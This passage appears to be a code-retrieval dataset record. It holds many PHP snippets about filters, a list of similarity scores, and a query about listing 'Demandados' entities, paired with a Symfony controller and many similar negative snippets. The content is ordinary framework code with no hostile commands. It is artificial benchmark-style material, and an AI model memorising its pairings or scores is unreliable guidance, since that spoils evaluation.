self::SCALAR:\n case self::PICKABLE:\n $filter->activate($stored['value_scalar']);\n break;\n case self::RANGE:\n case self::DATE_RANGE:\n $filter->activate(array('low' => $stored['value_range_low'], 'high' => $stored['value_range_high']));\n break;\n default:\n //not a defined type\n return false;\n break;\n }\n self::$_activeFilters[$stored['target']] = $filter;\n }\n }", "protected function filters(): array\n {\n return $this->filters;\n }", "function acf_get_filters()\n{\n}", "public static function storeAll()\n {\n foreach (self::$_activeFilters as $target => $filter) {\n $filter->store();\n }\n }", "private function applyFilters()\n {\n $availableOptions = ['name', 'method', 'uri', 'action', 'middleware'];\n foreach ($this->options() as $key => $option) {\n if (in_array($key, $availableOptions) && null != $option) {\n foreach ($this->routes as $index => $route) {\n if (!str_contains(strtolower($route[$key]), strtolower($option)))\n unset($this->routes[$index]);\n }\n }\n }\n }", "public function testFilterOptimizer(): void\n {\n $optimizer = new FilterOptimizer();\n $collection = LaRepo::newFiltersCollection();\n $nestedIdleCollection = LaRepo::newFiltersCollection();\n\n $filter1 = LaRepo::newFilter(\n 'attr1',\n FilterOperator::IS_LIKE,\n 'val1',\n BooleanOperator::OR\n );\n\n $filter2 = LaRepo::newFilter(\n 'attr2',\n FilterOperator::IS_LIKE,\n 'val2',\n BooleanOperator::AND\n );\n\n $filter3Sub = LaRepo::newFilter(\n 'attr3',\n FilterOperator::EQUALS_TO,\n 'testing',\n BooleanOperator::OR\n );\n\n $filter3 = LaRepo::newFilter(\n 'rel1',\n FilterOperator::EXISTS,\n LaRepo::newFiltersCollection(BooleanOperator::OR, $filter3Sub),\n BooleanOperator::AND\n );\n\n $nestedIdleCollection->setItems($filter1, $filter2, $filter3);\n $collection->setItems($nestedIdleCollection);\n\n $optimizer->optimize($collection);\n\n $this->assertCount(3, $collection);\n $this->assertEquals($filter1, $collection[0]);\n $this->assertEquals($filter2, $collection[1]);\n $this->assertEquals($filter3Sub, $collection[2]);\n $this->assertEquals('rel1.attr3', $collection[2]->getAttr()->getName());\n $this->assertEquals(BooleanOperator::AND, $collection[2]->getBoolean());\n }", "function outputFilter($data, stdClass $context) {\n for ($i = 0, $n = count($this->filters); $i < $n; $i++) {\n $data = $this->filters[$i]->outputFilter($data, $context);\n }\n return $data;\n }", "public function run() {\n\t\tforeach ( $this->filters as $hook ) {\n\t\t\tadd_filter( $hook['hook'], $hook['callback'], $hook['priority'], $hook['accepted_args'] );\n\t\t}\n\n\t\tforeach ( $this->actions as $hook ) {\n\t\t\tadd_action( $hook['hook'], $hook['callback'], $hook['priority'], $hook['accepted_args'] );\n\t\t}\n\t}", "protected function filterParams()\n {\n }", "public static function GET_FILTER(): array\n\t{\n\t\treturn self::$filters;\n\t}", "public function testGetFilters(): void\n {\n self::assertIsArray($this->extension->getFilters());\n self::assertCount(11, $this->extension->getFilters());\n foreach ($this->extension->getFilters() as $key => $filter) {\n /* @var TwigFilter $filter the filter to test */\n self::assertInstanceOf(TwigFilter::class, $filter);\n self::assertSame($key, $filter->getName().'Filter');\n }\n }", "public function filterBeforeAll($filter);", "public function getFilter();", "public function getFilter();", "function acf_set_filters($filters = array())\n{\n}", "public function dynamicFilters($filters)\n {\n if ( !$filters ) return;\n\n foreach ($filters as $item)\n {\n $this->whereHas('spec_data', function($query) use ($item) {\n \n $query->where('spec_row_id', $item['row_id'])->when( $item['values'] ?? false, function($query) use($item) {\n\n $query->whereHas('values', function($query) use ($item) {\n \n $query->whereIn('id', $item['values'] );\n });\n }, function($query) use($item) {\n\n $query->whereHas('translations', function($query) use ($item) {\n \n $query->where('data', $item['data'] ?? null);\n });\n });\n\n });\n }\n\n return;\n }", "public function getFilters()\n\t{\n\t\treturn array(\n\t\t\tnew \\Twig_SimpleFilter('subset', array($this, 'loop_subset'), array('needs_environment' => true)),\n\t\t\t// @deprecated 3.2.0 Uses twig's JS escape method instead of addslashes\n\t\t\tnew \\Twig_SimpleFilter('addslashes', 'addslashes'),\n\t\t);\n\t}", "public function run() {\n\t\tforeach ( $this->filters as $hook ) {\n\t\t\tadd_filter( $hook['hook'], [\n\t\t\t\t$hook['component'],\n\t\t\t\t$hook['callback']\n\t\t\t], $hook['priority'], $hook['acc_args'] );\n\t\t}\n\t\tforeach ( $this->actions as $hook ) {\n\t\t\tadd_action( $hook['hook'], [\n\t\t\t\t$hook['component'],\n\t\t\t\t$hook['callback']\n\t\t\t], $hook['priority'], $hook['acc_args'] );\n\t\t}\n\t}", "public function all(array $filters = []): Collection;", "function filters(){\n add_filter( 'oauth_authorization_parameters', array( $this, 'authorization_parameters'), 1, 1 );\n // add_filter( 'oauth_token_parameters', array( $this, 'token_parameters'), 1, 1 );\n add_filter( 'oauth_token_response', array( $this, 'token_response'), 1, 1 );\n // add_filter( 'oauth_identity_parameters', array( $this, 'identity_parameters'), 1, 1 );\n \tadd_filter( 'oauth_identity_response', array( $this, 'identity_response'), 1, 1 );\n }", "public function filters()\n {\n $filters = array(\n 'postOnly + delete',\n );\n\n return CMap::mergeArray($filters, parent::filters());\n }", "public function filters()\n {\n $filters = array(\n 'postOnly + delete',\n );\n\n return CMap::mergeArray($filters, parent::filters());\n }", "protected function _run_filters($type)\n {\n $filters = array_merge_recursive((new ApplicationController())->_filters(), $this->_filters());\n \n if (isset($filters[$type])) {\n /**\n * Here we have to filter duped methods. We can't use array_unique\n * because the the methods could be like ['method_name', 'only' => [ actions ... ]]\n * and that will generate \"Array to string conversion\" error.\n */\n $ran_methods = [];\n foreach ($filters[$type] as $params) {\n if (($method = $this->_can_run_filter_method($params, $type)) && !in_array($method, $ran_methods)) {\n $this->$method();\n $ran_methods[] = $method;\n }\n }\n }\n }", "private function setup_filters() {\n\n\t\tadd_filter( 'pre_option_posts_per_page', array( $this, 'filter_posts_per_page' ) );\n\n\t\tadd_filter( 'plugins_url', array( $this, 'filter_plugins_url' ) );\n\n\t}", "protected function set_filters() {\n\t\t# Ignore all items with undefined price\n\t\t$this->generator->addFilter(\n\t\t\tfunction (\n\t\t\t\tarray $sf_product\n\t\t\t) {\n\t\t\t\t$sf_product = reset( $sf_product );\n\n\t\t\t\t/** @var Product $sf_product */\n\t\t\t\treturn ! empty( $sf_product->get_price() );\n\t\t\t}\n\t\t);\n\t}", "public function getFilters(): array\n {\n return [\n new \\Twig_SimpleFilter('extract', [$this, 'extract']),\n ];\n }", "function IterateFiles($filters){\n\tif (isset($_GET[\"date\"])) \t$filters->timestamp = $_GET[\"date\"];\n\tif (isset($_GET[\"hash\"])) \t$filters->md5 = $_GET[\"hash\"];\n\tif (isset($_GET[\"vendor\"])) $filters->vendor = $_GET[\"vendor\"];\n\tif (isset($_GET[\"name\"])) \t$filters->filename = $_GET[\"name\"];\n\tif (isset($_GET[\"page\"])) \t$filters->page = $_GET[\"page\"];\n\tif (isset($_GET[\"size\"])) \t$filters->size = $_GET[\"size\"];\n\tif (isset($_GET[\"vt_score\"])) $filters->vt_score = $_GET[\"vt_score\"];\n\tif (isset($_GET[\"cuckoo\"])) $filters->cuckoo = $_GET[\"cuckoo\"];\n\n\t$results = GetFilesFromDatabase($filters);\n\t$files = array();\n\tfor ($i = 0; $i < count($results); ++$i) {\n array_push($files, $results[$i]['md5']);\n }\n\treturn $files;\n}", "private function loadFiltersFromQuery(): void\n {\n $request = RequestUtil::getMainRequest($this->requestStack) ?? Request::createFromGlobals();\n $requestFilters = $request->query->all('filter');\n\n if (is_array($requestFilters)) {\n foreach ($requestFilters as $name => $limitations) {\n foreach ($limitations as $comparison => $value) {\n $filterField = new FilterField();\n $filterField->setName($name)\n ->setValue($value)\n ->setComparison($comparison)\n ->setFilter($this->getFilterByName($name));\n\n $this->filterFields[] = $filterField;\n }\n }\n }\n }", "public function getFilters() \n {\n return $this->filters;\n }", "private function filter()\n {\n if ($this->allowsFilter()) {\n if ($this->hasFilters()) {\n $tmp = [];\n foreach ($this->filters as $filter) {\n // check, if it is a \"forbidden\" query parameter\n if ($this->isExcludedParameter($filter['key'])) {\n continue;\n }\n $tmp[] = $filter;\n }\n\n $this->filters = $tmp;\n\n return $this->operator->filter($this->filters);\n }\n }\n }", "public function filterProvider()\n {\n $entity1 = $this->createMock(EntityInterface::class);\n $entity2 = $this->createMock(EntityInterface::class);\n $entity3 = $this->createMock(EntityInterface::class);\n $entity4 = $this->createMock(EntityInterface::class);\n $entity5 = $this->createMock(EntityInterface::class);\n $entity6 = $this->createMock(EntityInterface::class);\n\n $entity1->foo = 'bar';\n $entity2->foo = 123;\n $entity4->foo = '123';\n $entity5->foo = ['1230'];\n $entity6->foo = [1234, 123, 'teta'];\n\n $entities = [$entity1, $entity2, $entity3, $entity4, $entity5, $entity6];\n\n $filter = function($entity) {\n return isset($entity->foo) && $entity->foo == 123;\n };\n\n return [\n [$entities, ['foo' => 123], false, [1 => $entity2, 3 => $entity4, 5 => $entity6]],\n [$entities, ['foo' => 123], true, [1 => $entity2, 5 => $entity6]],\n [$entities, $filter, false, [1 => $entity2, 3 => $entity4]],\n [$entities, $filter, true, [1 => $entity2, 3 => $entity4]],\n [$entities, [], false, $entities],\n [$entities, [], true, $entities],\n [[], ['foo' => 123], true, []],\n [[], ['foo' => 123], false, []],\n [[], $filter, true, []],\n [[], $filter, false, []],\n ];\n }", "public function getFilters()\n {\n $filters = array(\n // formatting filters\n new Twig_SimpleFilter('date', 'twig_date_format_filter', array('needs_environment' => true)),\n new Twig_SimpleFilter('date_modify', 'twig_date_modify_filter', array('needs_environment' => true)),\n new Twig_SimpleFilter('format', 'sprintf'),\n new Twig_SimpleFilter('replace', 'strtr'),\n new Twig_SimpleFilter('number_format', 'twig_number_format_filter', array('needs_environment' => true)),\n new Twig_SimpleFilter('abs', 'abs'),\n // encoding\n new Twig_SimpleFilter('url_encode', 'twig_urlencode_filter'),\n new Twig_SimpleFilter('json_encode', 'twig_jsonencode_filter'),\n new Twig_SimpleFilter('convert_encoding', 'twig_convert_encoding'),\n // string filters\n new Twig_SimpleFilter('title', 'twig_title_string_filter', array('needs_environment' => true)),\n new Twig_SimpleFilter('capitalize', 'twig_capitalize_string_filter', array('needs_environment' => true)),\n new Twig_SimpleFilter('upper', 'strtoupper'),\n new Twig_SimpleFilter('lower', 'strtolower'),\n new Twig_SimpleFilter('striptags', 'strip_tags'),\n new Twig_SimpleFilter('trim', 'trim'),\n new Twig_SimpleFilter('nl2br', 'nl2br', array('pre_escape' => 'html', 'is_safe' => array('html'))),\n // array helpers\n new Twig_SimpleFilter('join', 'twig_join_filter'),\n new Twig_SimpleFilter('split', 'twig_split_filter'),\n new Twig_SimpleFilter('sort', 'twig_sort_filter'),\n new Twig_SimpleFilter('merge', 'twig_array_merge'),\n new Twig_SimpleFilter('batch', 'twig_array_batch'),\n // string/array filters\n new Twig_SimpleFilter('reverse', 'twig_reverse_filter', array('needs_environment' => true)),\n new Twig_SimpleFilter('length', 'twig_length_filter', array('needs_environment' => true)),\n new Twig_SimpleFilter('slice', 'twig_slice', array('needs_environment' => true)),\n new Twig_SimpleFilter('first', 'twig_first', array('needs_environment' => true)),\n new Twig_SimpleFilter('last', 'twig_last', array('needs_environment' => true)),\n // iteration and runtime\n new Twig_SimpleFilter('default', '_twig_default_filter', array('node_class' => 'Twig_Node_Expression_Filter_Default')),\n new Twig_SimpleFilter('keys', 'twig_get_array_keys_filter'),\n // escaping\n new Twig_SimpleFilter('escape', 'twig_escape_filter', array('needs_environment' => true, 'is_safe_callback' => 'twig_escape_filter_is_safe')),\n new Twig_SimpleFilter('e', 'twig_escape_filter', array('needs_environment' => true, 'is_safe_callback' => 'twig_escape_filter_is_safe')),\n );\n if (function_exists('mb_get_info')) {\n $filters[] = new Twig_SimpleFilter('upper', 'twig_upper_filter', array('needs_environment' => true));\n $filters[] = new Twig_SimpleFilter('lower', 'twig_lower_filter', array('needs_environment' => true));\n }\n return $filters;\n }", "public function getFilters()\r\n {\r\n\r\n return array(new \\Twig_SimpleFilter('montantTva', array($this, 'montantTva')));\r\n }", "protected function prepareFilters()\n {\n if(count($this->api_query) === 0){\n return;\n }\n\n // Matched WHERE filters would be all\n // that are not KEYWORDS (count, page, embed...)\n foreach($this->api_query as $column => $value) {\n if(in_array($column, $this->api_keyword_filters)){\n continue;\n }\n\n $this->where_filters[$column]= $value;\n }\n }", "public function filters()\n {\n $filters = [];\n $filters['name'] = ['trim', 'empty_string_to_null', 'capitalize'];\n $filters['email'] = ['trim', 'empty_string_to_null', 'lowercase'];\n return $filters;\n }", "public static function alm_get_all_filters(){\n global $wpdb;\n \t$prefix = esc_sql( ALM_FILTERS_PREFIX );\n \t$options = $wpdb->options;\n \t$t = esc_sql( \"$prefix%\" );\n \t$sql = $wpdb -> prepare ( \"SELECT option_name FROM $options WHERE option_name LIKE '%s'\", $t );\n \t$filters = $wpdb -> get_col( $sql );\n\n \t$filters = ALMFilters::alm_remove_filter_license_options($filters);\n\n \treturn $filters;\n }" ]
[ "0.73893833", "0.73750544", "0.71971536", "0.70376927", "0.6743225", "0.6667746", "0.6614037", "0.66053563", "0.6572819", "0.6413857", "0.6405627", "0.64046896", "0.63428664", "0.6323308", "0.6263911", "0.62631047", "0.62462103", "0.623046", "0.61707044", "0.6158811", "0.61541647", "0.61301875", "0.61281085", "0.6121916", "0.6118721", "0.611498", "0.6082747", "0.60814834", "0.60814124", "0.60410404", "0.6031392", "0.5994563", "0.5987844", "0.59868276", "0.5986289", "0.595916", "0.5939337", "0.5934906", "0.5913472", "0.59128076", "0.59126276", "0.5903695", "0.5890606", "0.58723825", "0.586624", "0.58514225", "0.58453345", "0.5830051", "0.5827007", "0.58257186", "0.58255845", "0.582158", "0.58183634", "0.5801116", "0.5786834", "0.5765164", "0.57544965", "0.57498574", "0.5749792", "0.5740159", "0.5730361", "0.5725189", "0.57116544", "0.5694367", "0.56899136", "0.5668754", "0.56645423", "0.56641525", "0.56587446", "0.5657252", "0.5653102", "0.5628997", "0.5625058", "0.5623189", "0.5620968", "0.5609119", "0.56066096", "0.5606223", "0.5606223", "0.56056714", "0.5603455", "0.5597952", "0.5596099", "0.5593692", "0.55857575", "0.5584268", "0.5584268", "0.5576205", "0.5574875", "0.5569493", "0.5569484", "0.5565817", "0.5562317", "0.55616236", "0.5554349", "0.5551542", "0.5547296", "0.553886", "0.55383414", "0.5536789", "0.5528118" ]
0.0
-1
Lists all Demandados entities.
public function indexAction() { $em = $this->getDoctrine()->getManager(); $demandados = $em->getRepository('BufeteBundle:Demandados')->findAll(); return $this->render('demandados/index.html.twig', array( 'demandados' => $demandados, )); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function listDemarcaciones()\n {\n $list_demarcaciones = \\common\\models\\autenticacion\\Demarcaciones::find()->all();\n\n return $list_demarcaciones;\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('SuperAdminBundle:Departamento')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function getAll(){\n\t\t$tabDemandes = [];\n\t\t$q = $this->pdo->query(\"SELECT * FROM demande\");\n\t\twhile ($donnee = $q->fetch(PDO::FETCH_ASSOC)) {\n\t\t\t$tabDemandes[] = new Demande($donnee);\n\t\t}\n\t\treturn $tabDemandes;\n\t}", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('HaccoDeeeBundle:DevisSetup')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function index()\n {\n return Departments::all();\n }", "public function index()\n {\n return Departamento::all();\n }", "function listaAll() {\n require ROOT . \"config/bootstrap.php\";\n return $em->getRepository('models\\Equipamentos')->findby(array(), array(\"id\" => \"DESC\"));\n $em->flush();\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $deces = $em->getRepository('MairieMairieBundle:Deces')->findAll();\n\n return $this->render('deces/index.html.twig', array(\n 'deces' => $deces,\n ));\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $deplacements = $em->getRepository('BackOfficeBundle:Deplacement')->findAll();\n\n return $this->render('BackOfficeBundle:Deplacement:index.html.twig', array(\n 'deplacements' => $deplacements,\n ));\n }", "public function index()\n {\n $departamentos = Department::all();\n return $this->showAll($departamentos);\n }", "public static function getList()\n {\n return CHtml::listData(Departamentos::model()->findAll(),'id_departamento', 'descripcion');\n }", "public function index()\n {\n $detalles = Detalle::orderBy('id', 'desc')->get();\n return DetalleResource::collection($detalles);\n }", "public function listAction()\n {\n \n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u=new Sedes($this->dbAdapter);\n $valores=array\n (\n \"titulo\" => \"Sedes\",\n \"datos\" => $u->getRegistro(), \n \"ttablas\" => \"Sedes,Direccion,A,E\",\n \"lin\" => $this->lin\n ); \n return new ViewModel($valores);\n }", "public static function getListado(){\n return Dispositivo::model()->findAll();\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('MrsBlogBundle:Cidades')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction() {\n\n $user = $this->getUser();\n if (!$user) {\n return $this->render('AeagDieBundle:Default:interdit.html.twig');\n }\n $session = $this->get('session');\n $session->set('menu', 'Admin');\n $session->set('controller', 'Demande');\n $session->set('fonction', 'index');\n $em = $this->get('doctrine')->getManager('die');\n\n $repoDemande = $em->getRepository('AeagDieBundle:Demande');\n\n $entities = $repoDemande->getDemandes();\n\n return $this->render('AeagDieBundle:Demande:index.html.twig', array(\n 'entities' => $entities\n ));\n }", "public function selectAllDemande()\n {\n $requete = \"SELECT * FROM \n $this->table p, \".self::TDEMANDEUR.\" d, \".self::TDETPRESTA.\" dp, \".self::TLIEU.\" l, \".self::TCATDEMANDEUR.\" cd\n WHERE p.id_demandeur=d.id AND p.id_lieu=l.id AND dp.id_prestation=p.id AND d.id_cat_demandeur=cd.id limit 10\";\n\n return $this->pdo->query($requete)->fetchAll();\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('InfotapAdminBundle:Feeds')->findAll();\n\n return $this->render('InfotapAdminBundle:Feeds:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('SmathEmpresaBundle:Empleado')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function actionIndex()\n {\n $ano = Yii::$app->session->get('ANO_DASH');\n $indicadores = [];\n $idDep = '';\n if (isset($_GET['dep'])) {\n $idDep = $_GET['dep'];\n $indicadores = TbDadosmes::getIndicadorAuth($idDep, $ano);\n } \n $idInd = '';\n if (isset($_GET['ind'])) {\n $idInd = $_GET['ind'];\n }\n \n \n $searchModel = new TbDadosmesSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n $departamentos =TbDadosmes::getDepartamentoAuth(Yii::$app->user->identity->group);\n\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n 'departamentos' => $departamentos,\n 'indicadores' => $indicadores,\n 'idDep' => $idDep,\n 'idInd' => $idInd\n ]);\n }", "public function listerDemandes() {\n $q = $this->db->prepare('SELECT * FROM DemandeMain WHERE proj_id = :id AND datetime < NOW() - INTERVAL 30 SECOND LIMIT 1');\n $q->bindValue(':id', $this->id, PDO::PARAM_INT);\n $q->execute();\n $row = $q->fetch();\n if(!empty($row)) {\n $this->donnerMain($row['ut_id']);\n $this->deleteDemande($row['ut_id']);\n }\n \n // Then, removing old requests\n $q = $this->db->prepare('DELETE FROM DemandeMain WHERE proj_id = :id AND datetime < NOW() - INTERVAL 30 SECOND');\n $q->bindValue(':id', $this->id, PDO::PARAM_INT);\n $q->execute();\n \n // Now listing current requests\n $q = $this->db->prepare('SELECT * FROM DemandeMain WHERE proj_id = :id');\n $q->bindValue(':id', $this->id, PDO::PARAM_INT);\n $q->execute();\n \n $demandes = array();\n foreach ($q->fetchAll() as $qdemande) {\n $membre = Utilisateur::getM($this->db, intval($qdemande['ut_id']));\n $demande = array($membre,$qdemande['datetime']);\n $demandes[] = $membre;\n }\n return $demandes;\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('JetBredaBundle:Alquiler')->findAll();\n\n return array('entities' => $entities);\n }", "public function index()\r\n\t{\r\n\t\t$deposits = Deposit::paginate(10);\r\n\r\n\t\treturn view('backend.deposits.deposits_list', compact('deposits'));\r\n\t}", "public function actionIndex()\r\n {\r\n $searchModel = new TblDepartamentosSearch();\r\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\r\n \r\n return $this->render('index', [\r\n 'searchModel' => $searchModel,\r\n 'dataProvider' => $dataProvider,\r\n ]);\r\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $repository = $em->getRepository('COEShopBundle:Discount');\n\n $entities = $repository->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function index()\n {\n return $this->pedido->with(\n 'categoria',\n 'servico',\n 'envios',\n 'envios.prestador',\n 'interessados',\n 'interessados.prestador',\n 'situacao'\n )->where('ativo',1)->orderBy('id','DESC')->get();\n }", "public function listar()\n {\n return $this->request('GET', 'unidadesmedida');\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('VCReservasBundle:Reserva')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction() {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CabinetMedicalBundle:actualite')->findAll();\n\n return $this->render('CabinetMedicalBundle:actualite:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager(\"ms_haberes_web\");\n\n $entities = $em->getRepository('LiquidacionesCuposAnualesBundle:Liquidaciones')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function index()\n {\n return DepartmentResource::collection(Department::paginate());\n }", "public function indexAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n\r\n $entities = $em->getRepository('LicenciaBundle:AdmTipoAporte')->findAll();\r\n $paginator = $this->get('knp_paginator');\r\n $pagination = $paginator->paginate(\r\n $entities,\r\n $this->get('request')->query->get('page', 1) /*page number*/,\r\n 10\r\n );\r\n return array(\r\n 'entities' => $pagination,\r\n );\r\n }", "public function manageDeals() {\n $deals = $this->getDoctrine()->getManager()->getRepository('TkglCoreBundle:Deal')->findAll();\n return array('deals' => $deals);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $desvio = new DatParteDesvio();\n $form = $this->createForm('ParteDiarioBundle\\Form\\DatParteDesvioType', $desvio);\n $datParte = $em->getRepository('ParteDiarioBundle:DatParteDesvio')->findAll();\n return $this->render('ParteDiarioBundle:datpartedesvio:index.html.twig', array(\n 'datParteDesvios' => $datParte,\n 'form' => $form->createView(),\n ));\n }", "public function indexDiariaAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n $entity = new Consulta();\r\n $this->tipo=2;\r\n $form = $this->createCreateForm($entity,$this->tipo,0);\r\n //$entities = $em->getRepository('DGPlusbelleBundle:Consulta')->findAll();\r\n $dql = \"SELECT c FROM DGPlusbelleBundle:Consulta c WHERE c.tipoConsulta= :tipo\";\r\n $entities = $em->createQuery($dql)\r\n ->setParameter('tipo',1)\r\n ->getResult();\r\n //var_dump($entities);\r\n return array(\r\n 'entities' => $entities,\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n 'tipo' => 2,\r\n );\r\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('HffBlogBundle:Comentarios')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function index()\n {\n return Entity::all();\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('CpmJovenesBundle:Tema')->findAllQuery();\n \n return $this->paginate($entities);\n \n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $etablissements = $em->getRepository('AppBundle:Etablissements')->findAllWithCountry();\n\n return $this->render('etablissements/index.html.twig', array(\n 'etablissements' => $etablissements,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Agendamento::find(),\n /*\n 'pagination' => [\n 'pageSize' => 50\n ],\n 'sort' => [\n 'defaultOrder' => [\n 'id' => SORT_DESC,\n ]\n ],\n */\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function indexAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n $entity = new Consulta();\r\n $this->tipo=1;\r\n $form = $this->createCreateForm($entity,$this->tipo,0);\r\n $entities = $em->getRepository('DGPlusbelleBundle:Consulta')->findAll();\r\n\r\n return array(\r\n 'entities' => $entities,\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n 'tipo' => 1,\r\n );\r\n }", "public function show(Estados $estados)\n {\n \n }", "public function devedores()\n {\n return $this->hasMany(Devedores::class);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('MinsalsifdaBundle:SifdaEquipoTrabajo')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function ObtenerListaMediosDePagos(){\r\n return MedioDePago::all();\r\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('KbhGestionCongesBundle:Entreprise')->findAll();\n\n return $this->render('KbhGestionCongesBundle:Admin\\Entreprise:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $entities = $em->getRepository('QihooToolBundle:AutoDownUrl')->getAllList();\n return array(\n 'entities' => $entities,\n );\n }", "public function getAllDecoupage() {\n $qb = $this->createQueryBuilder('e')\n ->where('e.etatDecoupage != ' . TypeEtat::SUPPRIME);\n // ->orderBy('e.typeDecoupage', 'ASC');\n return $qb->getQuery()->getResult();\n }", "public function showAction(Demandados $demandado)\n {\n $deleteForm = $this->createDeleteForm($demandado);\n\n return $this->render('demandados/show.html.twig', array(\n 'demandado' => $demandado,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function index()\n {\n $arr['deposits'] = Deposits::all();\n return view('admin.deposits.index')->with($arr);\n }", "public function listdataAdmAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('ADMINISTRASI SYSTEM');\n }", "public function demandeListeTous()\n\t{\n\t\t// votre code ici\n\t\treturn Gestion::lister(\"Demande\");//type array\n\t}", "public function listarActualizacionAction(){\n\t\t$em = $this->getDoctrine()->getManager();\n\t\t$actualizacion = $em->getRepository('TheClickCmsAdminBundle:Actualizacion')->findAll();\n\t\treturn $this->render('TheClickCmsAdminBundle:Default:listarActualizacion.html.twig', array('actualizacion'=>$actualizacion));\n\t}", "public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('INHack20InventarioBundle:Estado')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function actionIndex()\n {\n\n $query = Daodien::find();\n $pagination = new Pagination([\n 'defaultPageSize' => 5,\n 'totalCount' => $query->count(),\n ]);\n $listDaoDien = $query->orderBy(['created_at' => SORT_DESC])\n ->offset($pagination->offset)\n ->limit($pagination->limit)->all();\n $data = ObjDaoDien::getListObject($listDaoDien);\n return $this->render('index',[\n 'listDaoDien' => $data,\n 'pagination' => $pagination]);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $districts = $em->getRepository('adminBundle:districts')->findAll();\n\n return $this->render('districts/index.html.twig', array(\n 'districts' => $districts,\n ));\n }", "public function actionIndex()\n {\n $searchModel = new DemanderanalyseSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listarEmpresasAction(){\n\t\t$em = $this->getDoctrine()->getManager();\n\t\t$empresa = $em->getRepository('TheClickCmsAdminBundle:Empresa')->findAll();\n\t\treturn $this->render('TheClickCmsAdminBundle:Default:listarEmpresa.html.twig', array('empresa'=>$empresa));\n\t}", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $armasMedicos = $em->getRepository('AppBundle:ArmasMedico')->findAll();\n\n return $this->render('armasmedico/index.html.twig', array(\n 'armasMedicos' => $armasMedicos,\n ));\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entities = $em->getRepository('Area4CampeonatoBundle:Partido')->findAll();\n //$e_h_p = $em->getRepository('Area4CampeonatoBundle:Equipo_has_Partido')->findAll();\n\n return array('entities' => $entities);\n }", "public function index()\n {\n return AtendenteResource::collection(Atendente::all());\n }", "public static function list_deals() {\n\t\t$msg = '';\n\t\t$query = self::getDeals();\n\t\tinclude 'views/_list_deals.php';\n\t}", "public function indexAction()\n {\n \n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('BEEServicesBeeeaseBundle:ActionListe')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('EcomBundle:PromoCmdes')->findAll();\n\n return $this->render('AdBundle:Administration:PromoCmdes/layout/index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function listarAction()\n {\n// Config::$mvc_bd_clave, Config::$mvc_bd_hostname);\n\n// $m = $this->get('jamab.model');\n\n $em = $this->getDoctrine()->getManager();\n $alimentos = $em->getRepository('JazzywebAulasMentorAlimentosBundle:Alimento')->dameAlimentos();\n\n $params = array(\n 'alimentos' => $alimentos,\n );\n\n return $this->render(\n 